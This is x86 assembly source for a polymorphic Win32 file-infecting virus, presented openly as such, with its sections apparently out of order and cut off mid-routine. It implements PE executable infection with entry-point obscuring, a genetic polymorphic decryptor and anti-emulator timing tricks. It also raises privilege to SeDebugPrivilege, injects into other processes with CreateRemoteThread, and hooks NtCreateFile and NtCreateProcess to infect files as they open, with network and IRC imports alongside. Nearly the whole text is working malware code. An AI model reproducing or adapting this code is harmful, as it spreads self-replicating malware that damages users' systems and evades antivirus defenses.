cmp ecx, poly_len[ebp]
mov ecx, poly_len[ebp]
.if !carry?
mov edi, [esp]
and poly_len[ebp], 0
and dword ptr [edi+(poly_len-entry_point)], 0
mov edi, [edx+8]
add [edx+8], ecx
add esi, edi
xchg esi, edi
mov eax, dist_address[ebp]
test genes[ebp], G_DISTANCE
.if !zero?
neg dword ptr [eax]
.endif
add esi, [edx+12]
sub [eax], esi ; relocate to section padding...
mov drop_rva[ebp], esi
mov esi, [ebx+28h]
add [eax], esi ; ...from AddressOfEntryPoint
test genes[ebp], G_DISTANCE
.if !zero?
neg dword ptr [eax]
.endif
push ecx
call calculate_increase
pop ecx
.else
add esi, [ebx+28h]
sub esi, [edx+12]
push ecx
push esi ; save code from original EP after virus code
rep movsb ; (i.e. just at poly_decrypt)
pop edi
pop ecx
.endif
lea esi, poly_decrypt[ebp]
mov drop_ptr[ebp], edi ; write polymorphic decryptor
rep movsb ; at current entry point
skip_hook_ep:
pop edi
pop esi
rdtsc
xchg eax, edx
lea eax, [edi+(crypted_start-entry_point)]
.if dl == start_key[ebp]
imul edx, edx, 12345678h
.endif
mov [eax-(crypted_start-encryption_key)], dl
call crypt_data
pop edx
mov ecx, [edx+12] ; VirtualAddress
add ecx, [edx+16] ; ECX = where we were appended
test genes[ebp], G_KEEPEP
lea eax, [ecx+(begin-entry_point)]
.if zero?
mov drop_rva[ebp], ecx
add eax, poly_len[ebp]
and dword ptr [edi+(poly_len-entry_point)], 0
.endif
sub eax, [ebx+28h] ; AddressOfEntryPoint
mov [edi+(ENTRY_POINT_DELTA-entry_point)], eax
test random_seed[ebp], 1
.if !zero? ; why not infect multiple times :)
mov dword ptr [ebx+8], 20202020h
.endif
test genes[ebp], G_EPO
.if !zero?
push edx
call handle_epo
pop edx
.endif
mov ecx, drop_rva[ebp]
jecxz no_drop_rva
mov [ebx+28h], ecx
jmp put_sehsave
no_drop_rva:
mov ecx, epo_rva[ebp]
jecxz dropped_at_entrypoint
jmp put_sehsave
dropped_at_entrypoint:
mov ecx, [ebx+28h]
put_sehsave:
test genes[ebp], (G_IMPORT or G_IMPORT2)
.if !zero?
mov eax, drop_ptr[ebp]
add ecx, pos_sehrestore[ebp]
add eax, pos_sehsave[ebp]
add [eax], ecx
.endif
mov ecx, [edx+16] ; ECX = SizeOfRawData
mov eax, file_increase[ebp]
.if [edx+8] < ecx
mov [edx+8], ecx ; VirtualSize correction
.endif
add [edx+16], eax ; update SizeOfRawData
and dword ptr [ebx+58h], 0 ; reset Checksum
mov eax, virtual_increase[ebp]
push CODE_SIZE
add [edx+8], eax ; update VirtualSize
pop ecx
add [ebx+50h], eax ; update SizeOfImage
mov dl, start_key[ebp]
test genes[ebp], G_KEEPEP
.if !zero?
add ecx, poly_len[ebp]
.endif
mov dh, 0
test genes[ebp], G_SLIDKEY
jnz encrypt_all
inc dh
test genes[ebp], G_SLIDKEYM
jnz encrypt_all
mov dh, sliding_key[ebp]
encrypt_all:
test genes[ebp], G_ENCRYPT
jnz xor_encrypt_all
add_encrypt_all:
mov al, [edi]
add al, dl
stosb
add dl, dh
loop add_encrypt_all
jmp deinstall_exception_handler
xor_encrypt_all:
mov al, [edi]
xor al, dl
stosb
add dl, dh
loop xor_encrypt_all
deinstall_exception_handler:
xor edx, edx
mov esp, fs:[edx]
pop dword ptr fs:[edx]
pop eax
unmap_and_close_file:
cmp file_handle[ebp], 0
je exit_infect
push file_base[ebp]
call [UnmapViewOfFile+ebp]
close_mapping:
push file_mapping[ebp]
call [CloseHandle+ebp]
lea ecx, file_last_write_time[ebp]
lea edx, file_last_access_time[ebp]
push ecx ; lpLastWriteTime
push edx ; lpLastAccessTime
push 0 ; lpCreationTime
push file_handle[ebp] ; hFile
call [SetFileTime+ebp]
do_close_file:
push file_handle[ebp]
call [CloseHandle+ebp]
restore_attr:
lea esi, filename_buffer[ebp]
push file_attr[ebp]
push esi
call [SetFileAttributes+ebp]
and file_handle[ebp], 0
ret
enter_infector:
call __enter_infector
__enter_infector:
pop ebp
push 1
sub ebp, offset __enter_infector
pop eax
lock xadd infector_lock[ebp], eax
test eax, eax
ret
leave_infector:
or eax, -1
lock xadd infector_lock[ebp], eax
ret
VxDCall_int30_hook:
cmp eax, 002a0010h ; VWIN32_Int21Dispatch?
jne exit_int30_hook
cmp word ptr [esp+12], 716ch ; LFN Extended Open/Create?
jne exit_int30_hook
pushad
call enter_infector
jnz w9x_skip_infection
call check_open
w9x_skip_infection:
call leave_infector
popad
exit_int30_hook:
jmp fword ptr cs:[12345678h]
VxDCall_int30_hook_jmp = ($-4)
new_NtCreateFile:
mov eax, 25h
idx_NtCreateFile = ($-4)
common_NCF:
pushad
call enter_infector
jnz nt_skip_infection
mov eax, [esp+48]
lea esi, filename_buffer[ebp]
mov edx, [eax+8]
cmp word ptr [edx], 259*2
jae nt_skip_infection
push esi
push 0ff0000h
mov eax, esp
push 0
push edx
push eax
call [RtlUnicodeStringToAnsiString+ebp]
add esp, 8
.if dword ptr [esi] == '\??\'
add esi, 4
.endif
call check_open
nt_skip_infection:
call leave_infector
popad
ret
new_NtOpenFile:
mov eax, 74h
idx_NtOpenFile = ($-4)
jmp common_NCF
new_NtCreateProcess:
mov eax, 29h
idx_NtCreateProcess = ($-4)
call common_NCP
ret 32
new_NtCreateProcessEx:
mov eax, 30h
idx_NtCreateProcessEx = ($-4)
call common_NCP
ret 36
new_NtCreateUserProcess:
mov eax, 185h
idx_NtCreateUserProcess = ($-4)
call common_NCP
ret 44
common_NCP:
lea edx, [esp+12]
int 2eh
cmp eax, 0
jl NCP_exit
pushad
call __common_NCP
__common_NCP:
mov edx, [esp+48]
pop ebp
mov ebx, [edx]
sub ebp, offset __common_NCP
call nt_infect_process
popad
NCP_exit:
ret 4
poly_regs:
pr_memreg db 6
pr_counter db 1 ; can't be 1 with ~G_SPECKEY!!
pr_key db 3
db 2, 5, 7
NUM_POLY_REGS = ($-poly_regs)
start_key db 11h
sliding_key db 9Ch
CRYPTED_SIZE = ($-crypted_start)
genes dd 0
epo_restore db 6 dup(?)
align 4
CODE_SIZE = ($-entry_point)
poly_decrypt db 512 dup(?) ; hardcoded, must be just after CODE_SIZE
token_user db 100 dup(?) ; keep these aligned!
section_name dw FILEMAP_NAME_LEN dup(?)
CloseHandle dd ?
CreateEvent dd ?
GetLastError dd ?
GetProcAddress dd ?
VxDCall dd ?
wsprintf dd ?
import_addr_kernel:
lstrlen dd ?
CreateFile dd ?
CreateFileMapping dd ?
CreateProcess dd ?
CreateRemoteThread dd ?
CreateThread dd ?
CreateToolhelp32Snapshot dd ?
ExitThread dd ?
FileTimeToSystemTime dd ?
FreeLibrary dd ?
GetFileAttributes dd ?
GetFileSize dd ?
GetFileTime dd ?
GetModuleHandle dd ?
GetTempFileName dd ?
GetTempPath dd ?
GetVersion dd ?
GetVersionEx dd ?
LoadLibrary dd ?
MapViewOfFile dd ?
OpenFileMapping dd ?
OpenProcess dd ?
Process32First dd ?
Process32Next dd ?
SetFileAttributes dd ?
SetFileTime dd ?
Sleep dd ?
SystemTimeToFileTime dd ?
UnmapViewOfFile dd ?
VirtualAlloc dd ?
WriteFile dd ?
NUMBER_OF_KERNEL_IMPORTS = (($-import_addr_kernel)/4)
import_addr_ntdll:
NtAdjustPrivilegesToken dd ?
NtCreateFile dd ?
NtCreateProcess dd ?
NtCreateProcessEx dd ?
NtCreateSection dd ?
NtCreateUserProcess dd ?
NtMapViewOfSection dd ?
NtOpenFile dd ?
NtOpenProcessToken dd ?
NtOpenSection dd ?
NtProtectVirtualMemory dd ?
NtQueryInformationToken dd ?
NtWriteVirtualMemory dd ?
RtlUnicodeStringToAnsiString dd ?
NUMBER_OF_NTDLL_IMPORTS = (($-import_addr_ntdll)/4)
import_addr_wsock32:
WSAStartup dd ?
closesocket dd ?
connect dd ?
gethostbyname dd ?
recv dd ?
send dd ?
socket dd ?
NUMBER_OF_WSOCK32_IMPORTS = (($-import_addr_wsock32)/4)
import_addr_wininet:
InternetCloseHandle dd ?
InternetGetConnectedState dd ?
InternetOpen dd ?
InternetOpenUrl dd ?
InternetReadFile dd ?
NUMBER_OF_WININET_IMPORTS = (($-import_addr_wininet)/4)
import_addr_advapi32:
RegCloseKey dd ?
RegOpenKeyEx dd ?
RegQueryValueEx dd ?
RegSetValueEx dd ?
NUMBER_OF_ADVAPI32_IMPORTS = (($-import_addr_advapi32)/4)
virus_pid dd ?
old_VxDCall_int30_callback dw ?,?,?
random_seed dd ?
hInternet dd ?
ircbuf db 511 dup(?)
need_restore db ?
filename_buffer db 'BAIT.EXE', 0
db (260-($-filename_buffer)) dup(?)
hAdvapi32 dd ?
LookupPrivilegeValue dd ?
SetFileSecurity dd ?
file_attr dd ?
file_handle dd ?
file_last_write_time dd ?,?
file_last_access_time dd ?,?
file_size dd ?
file_mapping dd ?
file_base dd ?
file_increase dd ?
align_to_vsize dd ?
virtual_increase dd ?
call_address dd ?
dist_address dd ?
start_loop dd ?
num_imports dd ?
import_found dd ?
pos_callover dd ?
pos_relctx dd ?
pos_skipapi dd ?
pos_size dd ?
pos_sehsave dd ?
pos_sehrestore dd ?
sect_header dd ?
sect_rva2ofs dd ?
epo_rva dd ?
drop_rva dd ?
drop_ptr dd ?
save_ebx dd ?
save_esi dd ?
save_edi dd ?
k32_base dd ?
k32code_begin dd ?
k32code_end dd ?
look_for_imp dd ?
ALMOST_TOTAL = ($-entry_point)
TOTAL_SIZE = ($-entry_point+16384)
kernel32 db 'KERNEL32.DLL', 0
ExitProcess proto :dword
start:
ifndef RELEASE
jmp entry_point
endif
first_generation_host:
ifdef RELEASE
mov ebx, [esp]
and ebx, 0fffff000h
@@1:
cmp word ptr [ebx], 'ZM'
je @@2
sub ebx, 4096
jmp @@1
@@2:
mov eax, [ebx+3ch]
add eax, ebx
mov edx, [eax+78h]
add edx, ebx
mov esi, [edx+20h] ; AddressOfNames
mov ecx, [edx+18h] ; NumberOfNames
add esi, ebx
push ecx
__kernel_export_lookup:
lodsd
add eax, ebx
cmp word ptr [eax+2], 'Pt'
jne __try_next_export
cmp dword ptr [eax+5], 'dAco'
je __kernel_export_found
__try_next_export:
loop __kernel_export_lookup
__kernel_export_found:
sub [esp], ecx
mov esi, [edx+24h]
pop ecx
add esi, ebx
movzx eax, word ptr [esi+ecx*2]
mov edi, [edx+1ch]
add edi, ebx
mov esi, [edi+eax*4]
add esi, ebx
mov GetProcAddress, esi
xor ebp, ebp
mov esi, offset import_names_kernel
xor ecx, ecx
mov edi, offset import_addr_kernel
mov cl, NUMBER_OF_KERNEL_IMPORTS
call import_functions
pusht 'CloseHandle'
push ebx
call GetProcAddress
mov CloseHandle, eax
rdtsc
mov random_seed, eax
or genes, G_EPO
mov esi, offset filename_buffer
call check_open
endif
push 0
call ExitProcess
end start
.model flat, stdcall
option casemap: none
includelib \masm32\lib\kernel32.lib
RELEASE equ 1
pusht macro text
local @@0
call @@0
db text, 0
@@0:
endm
; ----------<<< Genetic Polymorphism based on Win32.ThanksToDarwin >>>----------
G_IMPORT equ 00000001h ; 1. call a random import from *32.DLL
G_IMPORT2 equ 00000002h ; 2. " " (if 1+2 then we call twice)
G_NOEMUL equ 00000004h ; 3. loop 256 times before proceeding
G_SPECKEY equ 00000008h ; 4. key is just set (instead of incrementing in loop)
G_SPECKEY2 equ 00000010h ; 5. with ~4: LOOP (instead of DEC+JNZ)
G_CALL equ 00000020h ; 6. CALL end_of_code (instead of CALL @@0: POP reg)
G_DISTANCE equ 00000040h ; 7. SUB reg, ... (instead of ADD)
G_SIZE equ 00000080h ; 8. fancy setting of cnt reg (instead of MOV)
G_SIZEM equ 00000100h ; 9. with 8: SUB cnt, cnt (instead of XOR)
G_SIZEA equ 00000200h ; 10. with 8: XOR cnt, <size> (instead of OR)
G_1STVAL equ 00000400h ; 11. with 4: fancy key setup (instead of MOV)
G_1STVALB equ 00000800h ; 12. with 11: XOR key, key (instead of AND key, 0)
G_ADDENC equ 00001000h ; 13. with 11: OR key, <enckey> (instead of ADD)
G_GETBYTE equ 00002000h ; 14. XCHG AL, [reg] (instead of MOV)
G_ENCRYPT equ 00004000h ; 15. XOR AL, key (instead of SUB)
G_STORE equ 00008000h ; 16. MOV [reg], AL (instead of XCHG)
G_INCREMENT equ 00010000h ; 17. ADD reg, 1 (instead of INC)
G_SLIDKEY equ 00020000h ; 18. bypass key change
G_SLIDKEYM equ 00040000h ; 19. with ~18: INC key (instead of ADD key, ...)
G_ECOUNT equ 00080000h ; 20. DEC cnt (instead of SUB cnt, 1)
G_LOOP equ 00100000h ; 21. OR cnt,cnt+JNZ (instead of CMP cnt,0+JA/JNE)
G_LOOP2 equ 00200000h ; 22. with ~21: JNE (instead of JA)
G_CALLRET equ 00400000h ; 23. with 6: PUSH reg+RET (instead of JMP reg)
G_SEHEAX equ 00800000h ; 24. with 1|2: use EAX as CONTEXT ptr (instead of first ECX/EDX in pr_*)
G_SEHEBP equ 01000000h ; 25. with 1|2: restore EBP/ESP from SEH (and not before LEAVE)
G_ASEHEBP equ 02000000h ; 26. with 1|2: restore EBP/ESP after SEH
G_SEHEARLY equ 04000000h ; 27. with 1|2: close SEH early, before the loop
G_FRAME equ 08000000h ; 28. build stack frame
G_KEEPEP equ 10000000h ; 29. don't modify AddressOfEntryPoint
G_ALIGN equ 20000000h ; 30. 4-byte alignment between functions
G_PUSHPOS equ 40000000h ; 31. PUSH reg before GetByte (and not before Size)
G_EPO equ 80000000h ; 32. Entry Point Obscuring
NUM_GENES equ 32
; ------------------------------------------------------------------------------
.code
assume fs:nothing
entry_point:
call skip_begin
begin:
n_GetLastError db 'GetLastError', 0
skip_begin:
mov eax, [esp]
test dword ptr [eax+(genes-begin)], G_EPO
cld ; normally not necessary in stdcall, but polymorphic decryptor manipulates this
mov [eax+(save_ebx-begin)], ebx
mov ebx, [esp+4]
.if !zero?
pop ecx ; we are already called, so play rather with this return address
mov [eax+(save_esi-begin)], esi
mov [eax+(save_edi-begin)], edi
.if byte ptr [eax+(epo_restore-begin)] == 0e8h ; borland?
add ebx, [eax+(epo_restore-begin)+1]
mov ebx, [ebx+2]
push dword ptr [ebx]
.else ; microsoft
mov ebx, [eax+(epo_restore-begin)+2]
push dword ptr [ebx]
.endif
pop ebx
.endif
push ebp
mov ebp, eax
sub dword ptr [esp+4], (begin-first_generation_host)
ENTRY_POINT_DELTA = ($-4)
and ebx, 0fffff000h ; PE image must be page aligned
sub ebp, offset begin
mov edi, [esp+4]
lea esi, poly_decrypt[ebp]
db 0b9h ; MOV ECX, imm32
poly_len dd ?
rep movsb
rdtsc ; fool most emulated platforms, single-steppers etc
mov ecx, eax
rdtsc ; (greetings, NOD32!)
sub eax, ecx
cmp eax, 32
ja return_to_host
kernel_image_lookup:
cmp dword ptr [ebx+78], 'sihT'
je kernel_image_found
continue_kernel_lookup:
; instead of (at first sight prolly more logical) 4096, let's use 256. This
; will make the loop longer and at least NAV emulator gives up (every
; emulator gives up after some amount of time due to the halting problem)
sub ebx, 256
jnz kernel_image_lookup
kernel_image_found:
mov eax, ebx
add eax, [ebx+3ch]
cmp word ptr [eax], 'EP'
jne continue_kernel_lookup
mov edx, [eax+78h]
add edx, ebx
mov esi, [edx+20h] ; AddressOfNames
mov ecx, [edx+18h] ; NumberOfNames
add esi, ebx
push ecx
kernel_export_lookup:
lodsd
add eax, ebx
cmp word ptr [eax+2], 'Pt'
jne try_next_export
cmp dword ptr [eax+5], 'dAco'
je kernel_export_found
try_next_export:
loop kernel_export_lookup
; we are here if EBX taken from the stack was not in KERNEL32.DLL
pop ecx
pop ebp
ret
kernel_export_found:
sub [esp], ecx
mov esi, [edx+24h]
pop ecx
add esi, ebx
movzx eax, word ptr [esi+ecx*2]
mov edi, [edx+1ch]
add edi, ebx
mov esi, [edi+eax*4]
lea ecx, n_CloseHandle[ebp]
add esi, ebx
push ecx
push ebx
call esi
lea ecx, n_CreateEvent[ebp]
mov CloseHandle[ebp], eax
push ecx
push ebx
call esi
lea ecx, n_GetLastError[ebp]
mov CreateEvent[ebp], eax
push ecx
push ebx
call esi
mov GetLastError[ebp], eax
; this event object prevents virus from being loaded infinitely
call create_my_event
test eax, eax
jz return_to_host
push eax
call [GetLastError+ebp]
test eax, eax
ifdef RELEASE
jnz close_return_to_host
endif
lea eax, crypted_start[ebp]
mov dl, [eax-(crypted_start-encryption_key)]
call crypt_data
jmp crypted_start
close_return_to_host:
; don't keep the handle open, s.o. may request a shutdown, in which
; case we wait for deleting the event [** shutdown not implemented]
call [CloseHandle+ebp]
return_to_host:
test dword ptr genes[ebp], G_EPO
.if !zero?
lea esi, epo_restore[ebp]
mov edi, [esp+4]
movsb
movsd
mov ebx, save_ebx[ebp]
mov esi, save_esi[ebp]
mov edi, save_edi[ebp]
.endif
pop ebp
ret
n_CreateEvent db 'CreateEventA', 0
n_CloseHandle db 'CloseHandle', 0
build_security_attributes:
pop edx
push 0 ; \
push 0 ; | build a security
push 0 ; | descriptor with
push 0 ; | a dummy DACL
push 00040001h ; /
mov eax, esp
push 0 ; bInheritHandle
push eax ; lpSecurityDescriptor
push 12 ; nLength
mov eax, esp
jmp edx
my_event_name db 'VT_4', 0, 0
create_my_event:
xor ecx, ecx
call build_security_attributes
lea edx, my_event_name[ebp]
push edx
push ecx
push ecx
push eax
call [CreateEvent+ebp]
add esp, 32
ret
encryption_key db 0
; some lame "crypting engine" to make strings
; unreadable by the first look...
crypt_data:
mov dh, dl
mov ecx, CRYPTED_SIZE
crypt_data_loop:
xor [eax], dl
inc eax
add dl, dh
loop crypt_data_loop
ret
crypted_start:
and infector_lock[ebp], 0
and irc_parser[ebp], 0
and nt_map_extra[ebp], 0
push edi
mov byte ptr mapping_wait[ebp], 1
mov GetProcAddress[ebp], esi
lea esi, import_names_kernel[ebp]
xor ecx, ecx
lea edi, import_addr_kernel[ebp]
mov cl, NUMBER_OF_KERNEL_IMPORTS
call import_functions
pop edi
call [GetVersion+ebp]
shr eax, 31
jz nt_startup
mov eax, [edi+20] ; VxDCall4
push 40h ; PAGE_EXECUTE_READWRITE
add eax, ebx
push 08001000h ; MEM_COMMIT or VA_SHARED
mov VxDCall[ebp], eax
push TOTAL_SIZE
push 0
call [VirtualAlloc+ebp]
test eax, eax
jz close_return_to_host
xchg eax, edi
lea esi, entry_point[ebp]
mov ebp, edi
mov ecx, ((ALMOST_TOTAL+3)/4)
sub ebp, offset entry_point
lea edx, w9x_relocated[ebp]
rep movsd
jmp edx
w9x_relocated:
sub esp, 8*4
mov edi, esp
push 8
xor eax, eax
pop ecx
lea edx, w9x_ring0[ebp]
rep stosd
mov edi, esp
mov [edi+4*4], edx
inc byte ptr [edi+7*4]
push edi
push 00010003h ; _PagerRegister
call [VxDCall+ebp]
add esp, 8*4
test eax, eax
jz close_return_to_host
xchg edi, eax
push 0
push 1
push 80000400h
push 00010000h ; _PageReserve
call [VxDCall+ebp]
test eax, eax
jz close_return_to_host
push 0
push eax
push 00040000h
push 0
shr eax, 12
push edi
push 1
push eax
push 00010001h ; _PageCommit
call [VxDCall+ebp]
push 0001000Ah ; _PageFree
call [VxDCall+ebp]
call wait_for_mapping_ok
jmp close_return_to_host
wait_for_mapping_ok:
push 1
mapping_wait = ($-1)
pop ecx
jecxz mapping_ok
push 10
call [Sleep+ebp]
jmp wait_for_mapping_ok
mapping_ok:
ret
nt_startup:
cmp CreateToolhelp32Snapshot[ebp], 0
je close_return_to_host
pusht 'NTDLL'
call [GetModuleHandle+ebp]
lea esi, import_names_ntdll[ebp]
xor ecx, ecx
lea edi, import_addr_ntdll[ebp]
mov cl, NUMBER_OF_NTDLL_IMPORTS
xchg eax, ebx
call import_functions
cmp RtlUnicodeStringToAnsiString[ebp], 0
je close_return_to_host ; Win2K is required
mov eax, NtCreateFile[ebp]
push [eax+1]
pop idx_NtCreateFile[ebp]
mov eax, NtOpenFile[ebp]
push [eax+1]
pop idx_NtOpenFile[ebp]
mov eax, NtCreateProcess[ebp]
push [eax+1]
pop idx_NtCreateProcess[ebp]
mov ecx, NtCreateProcessEx[ebp]
jecxz no_NCPE
push [ecx+1]
pop idx_NtCreateProcessEx[ebp]
mov ecx, NtCreateUserProcess[ebp]
jecxz no_NCPE
push [ecx+1]
pop idx_NtCreateUserProcess[ebp]
no_NCPE:
call build_security_attributes
lea edi, ircbuf[ebp] ; find place for UNICODE_STRING
mov ecx, edi
push 0 ; SecurityQualityOfService
neg cl
push dword ptr [eax+4] ; SecurityDescriptor
and ecx, 3
push 40h ; Attributes
add edi, ecx ; align up to 4 bytes
push edi ; ObjectName
push 0 ; RootDirectory
push 6*4 ; Length
lea esi, BaseNamedObjs[ebp]
mov ecx, FILEMAP_NAME_LEN
lea eax, [ecx*2-2]
stosw
lea eax, [ecx*2]
stosw
lea eax, [edi+4]
stosd
xor ah, ah
lea edx, section_name[ebp]
build_unicode_section_name:
lodsb
mov [edx], ax
stosw
add edx, 2
loop build_unicode_section_name
mov edx, esp
push 0
push TOTAL_SIZE
mov ecx, esp
push 0
mov eax, esp
push 0 ; FileHandle
push 08000000h ; SectionAttributes = SEC_COMMIT
push 40h ; PageAttributes = PAGE_EXECUTE_READWRITE
push ecx ; MaximumSize
push edx ; ObjectAttributes
push 14 ; DesiredAccess = SECTION_MAP_EXECUTE | SECTION_MAP_READ | SECTION_MAP_WRITE
push eax ; SectionHandle
call [NtCreateSection+ebp]
pop eax
add esp, 64
push TOTAL_SIZE
mov edx, esp
push 0
mov ecx, esp
push 40h ; Protect = PAGE_EXECUTE_READWRITE
push 0 ; AllocationType = MEM_COMMIT
push 2 ; InheritDisposition = ViewUnmap
push edx ; ViewSize
push 0 ; SectionOffset
push TOTAL_SIZE ; CommitSize
push 0 ; ZeroBits
push ecx ; BaseAddress
push -1 ; ProcessHandle
push eax ; SectionHandle
call [NtMapViewOfSection+ebp]
pop edi
pop ecx
test edi, edi
jz close_return_to_host
lea esi, entry_point[ebp]
mov ecx, ((ALMOST_TOTAL+3)/4)
mov ebp, edi
rep movsd
sub ebp, offset entry_point
lea eax, nt_relocated[ebp]
jmp eax
nt_relocated:
push eax
push esp
push 20h ; TOKEN_ADJUST_PRIVILEGES
push -1 ; GetCurrentProcess
call [NtOpenProcessToken+ebp]
test eax, eax
pop edi
jnz skip_adjust_privs
call init_advapi32
pusht 'SeDebugPrivilege'
push edi
call nt_grant_priv
push hAdvapi32[ebp]
call [FreeLibrary+ebp]
push edi
call [CloseHandle+ebp]
skip_adjust_privs:
push 0
push 2
call [CreateToolhelp32Snapshot+ebp]
mov ecx, 296
xchg eax, edi
sub esp, ecx
mov [esp], ecx
push esp
push edi
call [Process32First+ebp]
xor esi, esi
and virus_pid[ebp], 0
loop_install_everywhere:
push esp
push edi
call [Process32Next+ebp]
test eax, eax
jz nt_startup_complete
inc esi
cmp esi, 4
jb loop_install_everywhere
push dword ptr [esp+8]
push 0
push 2ah
call [OpenProcess+ebp]
test eax, eax
jz loop_install_everywhere
xchg eax, ebx
call nt_infect_process
xor ecx, ecx
xchg eax, ecx
jecxz skip_inject
cmp virus_pid[ebp], eax
jne skip_inject
cmp dword ptr [esp+36], 'srsc'
je skip_inject
add ecx, (kernel_thread-entry_point)
push eax
push esp ; lpThreadId
push eax ; dwCreationFlags
push esi ; lpParameter
push ecx ; lpStartAddress
push eax ; dwStackSize
push eax ; lpThreadAttributes
push ebx ; hProcess
call [CreateRemoteThread+ebp]
test eax, eax
pop ecx
jz skip_inject
push dword ptr [esp+8]
pop virus_pid[ebp]
call wait_for_mapping_ok
skip_inject:
push ebx
call [CloseHandle+ebp]
jmp loop_install_everywhere
nt_startup_complete:
add esp, 296
push edi
call [CloseHandle+ebp]
jmp close_return_to_host
align 4
;------------------------
db 'XXX'
fastquit db 0
total_size dd ALMOST_TOTAL
sockaddr_offs dd (sockaddr_in-entry_point)
infector_lock dd 0
irc_parser dd 0
nt_map_extra dd 0
genes_offs dd (genes-entry_point)
;------------------------
import_functions:
push ecx
push esi
push ebx
call [GetProcAddress+ebp]
stosd
pop ecx
skip_import_name:
lodsb
test al, al
jnz skip_import_name
loop import_functions
ret
init_advapi32:
lea edx, szADVAPI32[ebp]
push edx
call [LoadLibrary+ebp]
mov hAdvapi32[ebp], eax
pusht 'LookupPrivilegeValueA'
push eax
call [GetProcAddress+ebp]
mov LookupPrivilegeValue[ebp], eax
ret
BaseNamedObjs db '\BaseNamedObjects\VtSect', 0
FILEMAP_NAME_LEN = ($ - BaseNamedObjs)
import_names_kernel:
db 'lstrlen', 0
db 'CreateFileA', 0
db 'CreateFileMappingA', 0
db 'CreateProcessA', 0
db 'CreateRemoteThread', 0
db 'CreateThread', 0
db 'CreateToolhelp32Snapshot', 0
db 'ExitThread', 0
db 'FileTimeToSystemTime', 0
db 'FreeLibrary', 0
db 'GetFileAttributesA', 0
db 'GetFileSize', 0
db 'GetFileTime', 0
db 'GetModuleHandleA', 0
db 'GetTempFileNameA', 0
db 'GetTempPathA', 0
db 'GetVersion', 0
db 'GetVersionExA', 0
db 'LoadLibraryA', 0
db 'MapViewOfFile', 0
db 'OpenFileMappingA', 0
db 'OpenProcess', 0
db 'Process32First', 0
db 'Process32Next', 0
db 'SetFileAttributesA', 0
db 'SetFileTime', 0
db 'Sleep', 0
db 'SystemTimeToFileTime', 0
db 'UnmapViewOfFile', 0
db 'VirtualAlloc', 0
db 'WriteFile', 0
import_names_ntdll:
db 'NtAdjustPrivilegesToken', 0
db 'NtCreateFile', 0
db 'NtCreateProcess', 0
db 'NtCreateProcessEx', 0
db 'NtCreateSection', 0
db 'NtCreateUserProcess', 0
db 'NtMapViewOfSection', 0
db 'NtOpenFile', 0
db 'NtOpenProcessToken', 0
db 'NtOpenSection', 0
db 'NtProtectVirtualMemory', 0
db 'NtQueryInformationToken', 0
db 'NtWriteVirtualMemory', 0
db 'RtlUnicodeStringToAnsiString', 0
import_names_wsock32:
db 'WSAStartup', 0
db 'closesocket', 0
db 'connect', 0
db 'gethostbyname', 0
db 'recv', 0
db 'send', 0
db 'socket', 0
import_names_wininet:
db 'InternetCloseHandle', 0
db 'InternetGetConnectedState', 0
db 'InternetOpenA', 0
db 'InternetOpenUrlA', 0
db 'InternetReadFile', 0
szADVAPI32 db 'ADVAPI32.DLL', 0
import_names_advapi32:
db 'RegCloseKey', 0
db 'RegOpenKeyExA', 0
db 'RegQueryValueExA', 0
db 'RegSetValueExA', 0
nt_grant_priv:
push esi
xor esi, esi
push 2 ; Attributes = SE_PRIVILEGE_ENABLED
push esi ; Luid (1)
push esi ; Luid (2)
mov edx, esp
push 1 ; PrivilegeCount
push edx
push [edx+24]
push esi
call [LookupPrivilegeValue+ebp]
mov eax, esp
push esi ; RequiredLength
push esi ; PreviousPrivileges
push esi ; PreviousPrivilegesLength
push eax ; TokenPrivileges
push esi ; DisableAllPrivileges
push [eax+24] ; TokenHandle
call [NtAdjustPrivilegesToken+ebp]
add esp, 16
pop esi
ret 8
; ECX = address of our function, EAX = address of function to hook
nt_hook_api_remote:
lea ecx, [ecx-5]
sub ecx, eax
push ecx ; \ build CALL xxx
push 0e8000000h ; / on the stack
lea ecx, [esp+3]
push 0 ; NumberOfBytesWritten
push 5 ; NumberOfBytesToWrite
push ecx ; Buffer
push eax ; BaseAddress
push ebx ; ProcessHandle
push 5
mov ecx, esp
push eax
mov edx, esp
push eax
push esp ; OldAccessProtection
push 40h ; NewAccessProtection = PAGE_EXECUTE_READWRITE
push ecx ; NumberOfBytesToProtect
push edx ; BaseAddress
push ebx ; ProcessHandle
call [NtProtectVirtualMemory+ebp]
add esp, 12
call [NtWriteVirtualMemory+ebp]
add esp, 8
ret
; Why not use OpenFileMapping, which we import anyway? Because it doesn't work
; on Vista (session separation: \BaseNamedObjects is now for critical global
; stuff only, kernel32.dll doesn't allocate handles there).
; (And why not use CreateFileMapping in the 1st place? Because we can't avoid
; DEP faults that way.)
nt_open_section:
lea edx, section_name[ebp]
xor ecx, ecx
push 0
push edx
push FILEMAP_NAME_LEN shl 17 + FILEMAP_NAME_LEN*2-2
mov eax, esp
push ecx ; SecurityQualityOfService
push ecx ; SecurityDescriptor
push 40h ; Attributes = OBJ_CASE_INSENSITIVE
push eax ; ObjectName
push ecx ; RootDirectory
push 6*4 ; Length
add eax, 8
push esp ; ObjectAttributes
push 14 ; DesiredAccess = SECTION_MAP_READ | SECTION_MAP_WRITE
push eax ; SectionHandle
call [NtOpenSection+ebp]
add esp, 6*4 + 8
xor edx, edx
test eax, eax
setns dl
neg edx
pop eax
and eax, edx
ret
; EBX = process handle
nt_infect_process:
push edi
xor edi, edi
call nt_open_section
jz exit_nt_infect_process
push eax
push TOTAL_SIZE
mov edx, esp
push 0
mov ecx, esp
push 40h ; Protect = PAGE_EXECUTE_READWRITE
push 100000h ; AllocationType = MEM_TOP_DOWN
push 2 ; InheritDisposition = ViewUnmap
push edx ; ViewSize
push 0 ; SectionOffset
push TOTAL_SIZE ; CommitSize
push 0 ; ZeroBits
push ecx ; BaseAddress
push ebx ; ProcessHandle
push eax ; SectionHandle
call [NtMapViewOfSection+ebp]
pop edi
pop ecx
call [CloseHandle+ebp]
test edi, edi
jz exit_nt_infect_process
mov ecx, nt_map_extra[ebp]
jecxz skip_map_extra
lea edx, entry_point[ebp]
add edx, ecx
push edi
push ebx
call edx
skip_map_extra:
mov eax, NtCreateFile[ebp]
lea ecx, [edi+(new_NtCreateFile-entry_point)]
call nt_hook_api_remote
mov eax, NtOpenFile[ebp]
lea ecx, [edi+(new_NtOpenFile-entry_point)]
call nt_hook_api_remote
mov eax, NtCreateProcess[ebp]
lea ecx, [edi+(new_NtCreateProcess-entry_point)]
call nt_hook_api_remote
mov eax, NtCreateProcessEx[ebp]
test eax, eax
jz exit_nt_infect_process
